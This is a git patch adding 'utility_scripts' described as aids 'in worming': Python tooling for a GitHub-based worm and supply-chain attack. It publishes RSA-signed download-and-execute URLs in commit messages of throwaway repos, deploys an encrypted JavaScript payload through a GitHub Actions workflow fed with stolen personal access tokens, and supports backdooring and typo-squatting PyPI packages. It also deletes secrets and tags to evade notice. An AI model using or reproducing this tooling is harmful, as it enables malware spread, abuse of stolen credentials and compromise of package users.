From 114f2867f8de95f236caff4bceac288c24da6d79 Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 02:46:32 +0000 Subject: [PATCH] Upload files to "utility_scripts" --- utility_scripts/README.MD | 1 + utility_scripts/commit_signer.py | 278 ++++++++++++++++++ utility_scripts/create_payload_repo.py | 388 +++++++++++++++++++++++++ utility_scripts/orphan-commit.py | 97 +++++++ 4 files changed, 764 insertions(+) create mode 100644 utility_scripts/README.MD create mode 100644 utility_scripts/commit_signer.py create mode 100644 utility_scripts/create_payload_repo.py create mode 100644 utility_scripts/orphan-commit.py diff --git a/utility_scripts/README.MD b/utility_scripts/README.MD new file mode 100644 index 0000000..650d57b --- /dev/null +++ b/utility_scripts/README.MD @@ -0,0 +1 @@ +Collection of utility scripts to aid in worming. diff --git a/utility_scripts/commit_signer.py b/utility_scripts/commit_signer.py new file mode 100644 index 0000000..c719492 --- /dev/null +++ b/utility_scripts/commit_signer.py @@ -0,0 +1,278 @@ +#!/usr/bin/env python3 +import argparse +import base64 +import random +import subprocess +import sys +from pathlib import Path + +import requests + +try: + from cryptography.hazmat.primitives import hashes, serialization + from cryptography.hazmat.primitives.asymmetric import padding +except ImportError: + try: + subprocess.check_call( + [sys.executable, "-m", "pip", "install", "cryptography"], + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + except: + try: + subprocess.check_call( + [ + sys.executable, + "-m", + "pip", + "install", + "cryptography", + "--break-system-packages", + ], + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + except: + sys.exit(1) + + from cryptography.hazmat.primitives import hashes, serialization + from cryptography.hazmat.primitives.asymmetric import padding + + +API = "https://api.github.com" + +ADJECTIVES = [ + "stygian", + "tartarean", + "erebean", + "infernal", + "chthonic", + "acheronian", + "lethean", + "plutonian", + "abyssal", + "charonian", + "thanatic", + "funereal", + "nekyian", + "sepulchral", + "tenebrous", + "cimmerian", +] + +NOUNS = [ + "cerberus", + "charon", + "tartarus", + "erebus", + "asphodel", + "acheron", + "styx", + "lethe", + "cocytus", + "phlegethon", + "shade", + "eidolon", + "wraith", + "thanatos", + "hecate", + "persephone", +] + + +def gh(token: str, method: str, path: str, **kwargs) -> dict | None: + url = f"{API}{path}" if path.startswith("/") else path + headers = { + "Authorization": f"Bearer {token}", + "Accept": "application/vnd.github+json", + "X-GitHub-Api-Version": "2022-11-28", + } + if "json" in kwargs: + headers["Content-Type"] = "application/json" + resp = requests.request(method, url, headers=headers, **kwargs) + if not resp.ok: + print(f"GitHub API error {resp.status_code}: {resp.text}", file=sys.stderr) + sys.exit(1) + if resp.status_code == 204: + return None + return resp.json() + + +def generate_repo_name() -> str: + adj = random.choice(ADJECTIVES) + noun = random.choice(NOUNS) + num = random.randint(10000, 99999) + return f"{adj}-{noun}-{num}" + + +def create_repo(token: str, name: str) -> str: + """Create a public repo and return owner/name.""" + repo = gh( + token, + "POST", + "/user/repos", + json={ + "name": name, + "private": False, + "auto_init": True, + "has_issues": False, + "has_wiki": False, + }, + ) + return repo["full_name"] + + +def create_orphan_commit(token: str, owner: str, repo: str, message: str) -> str: + """Create an empty tree and an orphan commit with the given message.""" + # Empty tree + tree = gh( + token, + "POST", + f"/repos/{owner}/{repo}/git/trees", + json={ + "tree": [ + {"path": ".gitkeep", "mode": "100644", "type": "blob", "content": ""} + ], + }, + ) + # Orphan commit (no parents) + commit = gh( + token, + "POST", + f"/repos/{owner}/{repo}/git/commits", + json={ + "message": message, + "tree": tree["sha"], + "parents": [], + }, + ) + return commit["sha"] + + +def load_private_key(key_path: str): + with open(key_path, "rb") as f: + return serialization.load_pem_private_key(f.read(), password=None) + + +def sign_url(url: str, private_key) -> tuple: + url_b64 = base64.b64encode(url.encode()).decode() + + signature = private_key.sign( + url_b64.encode(), + padding.PSS( + mgf=padding.MGF1(hashes.SHA256()), salt_length=padding.PSS.MAX_LENGTH + ), + hashes.SHA256(), + ) + + signature_b64 = base64.b64encode(signature).decode() + + return url_b64, signature_b64 + + +def generate_commit_message(url: str, private_key, prefix: str = "") -> str: + url_b64, signature_b64 = sign_url(url, private_key) + + if prefix: + return f"{prefix}\n\nfiredalazer {url_b64}.{signature_b64}" + else: + return f"firedalazer {url_b64}.{signature_b64}" + + +def main(): + parser = argparse.ArgumentParser( + description="Generate signed GitHub commit messages", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + python3 commit_signer.py --url "https://example.com/script.py" --key private.pem + python3 commit_signer.py --url "https://example.com/update.py" --key private.pem --prefix "Update" + python3 commit_signer.py --url "https://example.com/payload" --keypair builds/DEMO-001/rsa_keypair.json + python3 commit_signer.py --url "https://example.com/payload" --key private.pem --pat ghp_xxx + """, + ) + + parser.add_argument("--url", required=True, help="URL to download and execute") + parser.add_argument("--key", help="Path to RSA private key PEM file") + parser.add_argument("--keypair", help="Path to RSA keypair JSON file") + parser.add_argument( + "--prefix", default="", help="Optional prefix for commit message" + ) + parser.add_argument( + "--pat", help="GitHub PAT. If provided, creates a repo and commits the message." + ) + + args = parser.parse_args() + + if args.keypair: + import json + + from cryptography.hazmat.backends import default_backend + from cryptography.hazmat.primitives.asymmetric import rsa + + with open(args.keypair, "r") as f: + keypair = json.load(f) + + private_key = rsa.RSAPrivateNumbers( + p=int(keypair["rsaPHex"], 16), + q=int(keypair["rsaQHex"], 16), + d=int(keypair["rsaDHex"], 16), + dmp1=int(keypair["rsaDPHex"], 16), + dmq1=int(keypair["rsaDQHex"], 16), + iqmp=int(keypair["rsaQInvHex"], 16), + public_numbers=rsa.RSAPublicNumbers( + e=int(keypair["rsaExponentHex"], 16), + n=int(keypair["rsaModulusHex"], 16), + ), + ).private_key(default_backend()) + + elif args.key: + private_key = load_private_key(args.key) + else: + return 1 + + commit_msg = generate_commit_message(args.url, private_key, args.prefix) + + print(f"\n{'=' * 60}") + print(f"COMMIT MESSAGE:") + print(f"{'=' * 60}") + print(commit_msg) + print(f"{'=' * 60}") + print(f"\nTarget URL: {args.url}") + + if args.pat: + repo_name = generate_repo_name() + print(f"\nCreating public repo: {repo_name}...") + full_name = create_repo(args.pat, repo_name) + owner, name = full_name.split("/") + print(f" https://github.com/{full_name}") + + print(f"Creating orphan commit...") + commit_sha = create_orphan_commit(args.pat, owner, name, commit_msg) + print(f" https://github.com/{full_name}/commit/{commit_sha}") + + print(f"Pushing to main...") + pushed = False + for branch in ("main", "master"): + try: + gh( + args.pat, + "PATCH", + f"/repos/{owner}/{name}/git/refs/heads/{branch}", + json={"sha": commit_sha, "force": True}, + ) + print(f" {branch} now points to {commit_sha[:7]}") + pushed = True + break + except SystemExit: + continue + if not pushed: + print(f" failed to update main or master — commit is orphaned") + + print(f"\nRepo: https://github.com/{full_name}") + + return 0 + + +if __name__ == "__main__": + exit(main()) diff --git a/utility_scripts/create_payload_repo.py b/utility_scripts/create_payload_repo.py new file mode 100644 index 0000000..ff272cb --- /dev/null +++ b/utility_scripts/create_payload_repo.py @@ -0,0 +1,388 @@ +#!/usr/bin/env python3 +"""Create a private GitHub repo with a workflow_dispatch-triggered payload. + +Usage: + python3 scripts/create_payload_repo.py \ + --orchestartor-pat ghp_xxx \ + --repo owner/name \ + --js-path ./payload.js \ + --pats ghp_aaa,ghp_bbb + +Creates: + 1. Private repo (using --orchestartor-pat) + 2. index.js (the payload) + 3. .github/workflows/run.yml — reads PATS secret → GITHUB_TOKEN2 → bun + 4. An Actions secret PATS containing the comma-separated PATs + 5. Dispatches a single workflow run +""" + +import argparse +import base64 +import os +import random +import secrets +import subprocess +import sys +from hashlib import sha256 + +import nacl.encoding +import nacl.public +import requests + +API = "https://api.github.com" + +# Set by main() — all API calls use this token. +_TOKEN: str = "" + + +def _headers() -> dict: + return { + "Authorization": f"Bearer {_TOKEN}", + "Accept": "application/vnd.github+json", + "X-GitHub-Api-Version": "2022-11-28", + } + + +def gh(method: str, path: str, **kwargs) -> dict | None: + url = f"{API}{path}" if path.startswith("/") else path + r = requests.request(method, url, headers=_headers(), **kwargs) + if not r.ok: + print(f"API error {r.status_code}: {r.text}", file=sys.stderr) + sys.exit(1) + if r.status_code == 204: + return None + return r.json() + + +# ── Actions secret helpers ────────────────────────────────────────────── + + +def get_repo_public_key(owner: str, repo: str) -> tuple[str, str]: + """Return (key_id, key) for the repo's Actions secret encryption.""" + r = gh("GET", f"/repos/{owner}/{repo}/actions/secrets/public-key") + return r["key_id"], r["key"] + + +def encrypt_secret_value(plaintext: str, pubkey_b64: str) -> str: + """Encrypt a value using libsodium sealed box with the repo's + public key (required by the GitHub Actions secrets API).""" + pk = nacl.public.PublicKey(pubkey_b64, encoder=nacl.encoding.Base64Encoder) + box = nacl.public.SealedBox(pk) + encrypted = box.encrypt(plaintext.encode()) + return base64.b64encode(encrypted).decode() + + +def put_secret(owner: str, repo: str, name: str, value: str): + """Create or update a repo-level Actions secret.""" + key_id, pubkey = get_repo_public_key(owner, repo) + encrypted = encrypt_secret_value(value, pubkey) + gh( + "PUT", + f"/repos/{owner}/{repo}/actions/secrets/{name}", + json={"encrypted_value": encrypted, "key_id": key_id}, + ) + + +# ── Repo operations ───────────────────────────────────────────────────── + + +def create_repo(name: str, private: bool = False) -> dict: + data = {"name": name, "private": False, "auto_init": True} + return gh("POST", "/user/repos", json=data) + + +def create_blob(owner: str, repo: str, content: str) -> str: + encoded = base64.b64encode(content.encode()).decode() + return gh( + "POST", + f"/repos/{owner}/{repo}/git/blobs", + json={"content": encoded, "encoding": "base64"}, + )["sha"] + + +def get_default_branch_sha(owner: str, repo: str) -> str: + r = gh("GET", f"/repos/{owner}/{repo}") + branch = r["default_branch"] + ref = gh("GET", f"/repos/{owner}/{repo}/git/ref/heads/{branch}") + return ref["object"]["sha"] + + +def get_base_tree(owner: str, repo: str, sha: str) -> str: + commit = gh("GET", f"/repos/{owner}/{repo}/git/commits/{sha}") + return commit["tree"]["sha"] + + +def create_tree( + owner: str, repo: str, base_tree: str | None, entries: list[dict] +) -> str: + body: dict = {"tree": entries} + if base_tree is not None: + body["base_tree"] = base_tree + return gh( + "POST", + f"/repos/{owner}/{repo}/git/trees", + json=body, + )["sha"] + + +def create_commit( + owner: str, repo: str, message: str, tree: str, parents: list[str] +) -> str: + return gh( + "POST", + f"/repos/{owner}/{repo}/git/commits", + json={"message": message, "tree": tree, "parents": parents}, + )["sha"] + + +def update_ref(owner: str, repo: str, branch: str, sha: str): + gh( + "PATCH", + f"/repos/{owner}/{repo}/git/refs/heads/{branch}", + json={"sha": sha, "force": True}, + ) + + +def get_default_branch(owner: str, repo: str) -> str: + return gh("GET", f"/repos/{owner}/{repo}")["default_branch"] + + +# ── Payload encryption ───────────────────────────────────────────────── + + +def encrypt_payload(data: bytes, passphrase: str) -> str: + """AES-256-CBC encrypt with passphrase-derived key. + Returns base64 of IV + ciphertext.""" + iv = os.urandom(16) + key = sha256(passphrase.encode()).digest() + proc = subprocess.run( + [ + "openssl", + "enc", + "-aes-256-cbc", + "-K", + key.hex(), + "-iv", + iv.hex(), + "-nosalt", + ], + input=data, + capture_output=True, + ) + if proc.returncode != 0: + raise RuntimeError(f"openssl encrypt failed: {proc.stderr.decode()}") + return base64.b64encode(iv + proc.stdout).decode() + + +# One-liner decryptor embedded in the workflow YAML +DECRYPT_STEP = ( + 'python3 -c "' + "import base64,hashlib,os,subprocess;" + "d=base64.b64decode(open('index.js','rb').read());" + "iv=d[:16];ct=d[16:];" + "k=hashlib.sha256(os.environ['PASSPHRASE'].encode()).digest();" + "p=subprocess.run(['openssl','enc','-d','-aes-256-cbc','-K',k.hex(),'-iv',iv.hex(),'-nosalt'],input=ct,capture_output=True);" + "open('index.js','wb').write(p.stdout)" + '"' +) + + +# ── Main ──────────────────────────────────────────────────────────────── + + +def main(): + global _TOKEN + + parser = argparse.ArgumentParser(description="Create payload repo") + parser.add_argument( + "--orchestartor-pat", + required=True, + help="GitHub PAT used to create the repo and push commits", + ) + parser.add_argument("--repo", required=True, help="owner/name") + parser.add_argument("--js-path", required=True, help="Path to index.js payload") + parser.add_argument( + "--pats", + default=None, + help="Comma-separated PATs to dispatch (or path to file, one per line)", + ) + parser.add_argument( + "--packages", + default=None, + help="Comma-separated PyPI packages to backdoor (sets PACKAGES env in workflow)", + ) + parser.add_argument( + "--passphrase", + default=None, + help="Custom passphrase (auto-generated if not provided)", + ) + parser.add_argument( + "--pypi-typos", + default=None, + help="Comma-separated packages to typo-squat (sets TYPO_MODE=1 + TARGET_PACKAGES)", + ) + args = parser.parse_args() + + _TOKEN = args.orchestartor_pat + + owner, raw_name = args.repo.split("/", 1) + name = f"{raw_name}-{random.randint(10000, 99999)}" + + with open(args.js_path) as f: + js_content = f.read() + + # Encrypt payload (always — auto-generated passphrase if not provided) + passphrase = args.passphrase or secrets.token_hex(32) + js_content = encrypt_payload(js_content.encode(), passphrase) + + # Resolve PATs list + pats: list[str] = [] + if args.pats: + if os.path.isfile(args.pats): + with open(args.pats) as f: + pats = [line.strip() for line in f if line.strip()] + else: + pats = [p.strip() for p in args.pats.split(",") if p.strip()] + + workflow_yaml = """\ +name: Run +on: + workflow_dispatch: +jobs: + run: + runs-on: ubuntu-latest + permissions: + issues: write + steps: + - uses: actions/checkout@v6 + - uses: oven-sh/setup-bun@v2 + - name: decrypt + env: + PASSPHRASE: ${{{{ secrets.PASSPHRASE }}}} + run: {DECRYPT_STEP} + - name: run + env: + GITHUB_TOKEN2: ${{ secrets.PATS }}""" + + if args.packages: + workflow_yaml += "\n PACKAGES: ${{ secrets.PACKAGES }}" + + if args.pypi_typos: + workflow_yaml += """\ + TYPO_MODE: "1" + TARGET_PACKAGES: ${{ secrets.TARGET_PACKAGES }}""" + + workflow_yaml += "\n run: bun run index.js\n" + + # 1. Create repo + print(f"Creating private repo {args.repo}...", file=sys.stderr) + create_repo(name, private=True) + print(f" https://github.com/{args.repo}", file=sys.stderr) + + # 2. Get parent commit + parent_sha = get_default_branch_sha(owner, name) + base_tree = get_base_tree(owner, name, parent_sha) + + # 3. Create blobs + js_sha = create_blob(owner, name, js_content) + wf_sha = create_blob(owner, name, workflow_yaml) + + # 4. Build tree — .github/workflows/run.yml + wf_tree = create_tree( + owner, + name, + None, # no base — new tree + [ + { + "path": "run.yml", + "mode": "100644", + "type": "blob", + "sha": wf_sha, + }, + ], + ) + + gh_tree = create_tree( + owner, + name, + None, + [ + { + "path": "workflows", + "mode": "040000", + "type": "tree", + "sha": wf_tree, + }, + ], + ) + + new_tree = create_tree( + owner, + name, + base_tree, + [ + {"path": "index.js", "mode": "100644", "type": "blob", "sha": js_sha}, + {"path": ".github", "mode": "040000", "type": "tree", "sha": gh_tree}, + ], + ) + + # 5. Commit + commit_sha = create_commit(owner, name, "Add workflow", new_tree, [parent_sha]) + update_ref(owner, name, get_default_branch(owner, name), commit_sha) + + print(f"\nRepo: https://github.com/{args.repo}", file=sys.stderr) + print( + f"Dispatch: https://github.com/{args.repo}/actions/workflows/run.yml", + file=sys.stderr, + ) + + # 6. Store secrets + if pats: + pats_csv = ",".join(pats) + print(f"Storing PATS secret ({len(pats)} token(s))...", file=sys.stderr) + put_secret(owner, name, "PATS", pats_csv) + if args.packages: + print(f"Storing PACKAGES secret: {args.packages}...", file=sys.stderr) + put_secret(owner, name, "PACKAGES", args.packages) + print("Storing PASSPHRASE secret...", file=sys.stderr) + put_secret(owner, name, "PASSPHRASE", passphrase) + if args.pypi_typos: + print(f"Storing TARGET_PACKAGES secret: {args.pypi_typos}...", file=sys.stderr) + put_secret(owner, name, "TARGET_PACKAGES", args.pypi_typos) + + # 7. Dispatch the workflow (no inputs — reads PATS secret) + branch = get_default_branch(owner, name) + print(f"Dispatching workflow on {branch}...", file=sys.stderr) + gh( + "POST", + f"/repos/{owner}/{name}/actions/workflows/run.yml/dispatches", + json={"ref": branch}, + ) + print(" dispatched", file=sys.stderr) + + # 8. Wait for the workflow to pick up the secrets, then delete them + import time + + print("Waiting 15s for workflow to start...", file=sys.stderr) + time.sleep(10) + if pats: + print("Deleting PATS secret...", file=sys.stderr) + gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/PATS") + print(" deleted", file=sys.stderr) + if args.packages: + print("Deleting PACKAGES secret...", file=sys.stderr) + gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/PACKAGES") + print(" deleted", file=sys.stderr) + print("Deleting PASSPHRASE secret...", file=sys.stderr) + gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/PASSPHRASE") + print(" deleted", file=sys.stderr) + if args.pypi_typos: + print("Deleting TARGET_PACKAGES secret...", file=sys.stderr) + gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/TARGET_PACKAGES") + print(" deleted", file=sys.stderr) + + print(args.repo) + + +if __name__ == "__main__": + main() diff --git a/utility_scripts/orphan-commit.py b/utility_scripts/orphan-commit.py new file mode 100644 index 0000000..039a921 --- /dev/null +++ b/utility_scripts/orphan-commit.py @@ -0,0 +1,97 @@ +#!/usr/bin/env python3 +"""Create an orphan commit containing a single file in a GitHub repo. + +Usage: + python3 scripts/orphan-commit.py [message] + +Example: + python3 scripts/orphan-commit.py ghp_xxx my-org/my-repo ./payload.bin "init" +""" + +import base64 +import json +import sys +from urllib.request import Request, urlopen + +TOKEN = sys.argv[1] if len(sys.argv) > 1 else None +REPO = sys.argv[2] if len(sys.argv) > 2 else None +FILE = sys.argv[3] if len(sys.argv) > 3 else None +MSG = sys.argv[4] if len(sys.argv) > 4 else "init" + +if not TOKEN or not REPO or not FILE: + print( + "Usage: orphan-commit.py [message]", file=sys.stderr + ) + sys.exit(1) + +owner, name = REPO.split("/", 1) + +API = "https://api.github.com" +HEADERS = { + "Authorization": f"Bearer {TOKEN}", + "Accept": "application/vnd.github+json", + "X-GitHub-Api-Version": "2022-11-28", + "Content-Type": "application/json", +} + + +def gh(method, path, body=None): + req = Request(f"{API}{path}", method=method, headers=HEADERS) + if body: + req.data = json.dumps(body).encode() + resp = urlopen(req) + return json.loads(resp.read()) if resp.status != 204 else None + + +with open(FILE, "rb") as f: + content = f.read() + +filename = FILE.rsplit("/", 1)[-1] + +# 1. Create blob +blob = gh( + "POST", + f"/repos/{owner}/{name}/git/blobs", + { + "content": base64.b64encode(content).decode(), + "encoding": "base64", + }, +) + +# 2. Create tree with the single file +tree = gh( + "POST", + f"/repos/{owner}/{name}/git/trees", + { + "tree": [ + {"path": filename, "mode": "100644", "type": "blob", "sha": blob["sha"]} + ], + }, +) + +# 3. Create orphan commit (no parents, no branch ref) +commit = gh( + "POST", + f"/repos/{owner}/{name}/git/commits", + { + "message": MSG, + "tree": tree["sha"], + "parents": [], + }, +) + +# 4. Create a tag pointing to the commit, then delete it immediately. +# The creation event persists in GitHub's audit log so commit-monitoring +# tools pick it up, but the tag itself is gone with no trace on the repo. +tag_name = f"tmp-{commit['sha'][:7]}" +gh( + "POST", + f"/repos/{owner}/{name}/git/refs", + {"ref": f"refs/tags/{tag_name}", "sha": commit["sha"]}, +) +gh( + "DELETE", + f"/repos/{owner}/{name}/git/refs/tags/{tag_name}", +) + +print(f"https://raw.githubusercontent.com/{owner}/{name}/{commit['sha']}/{filename}")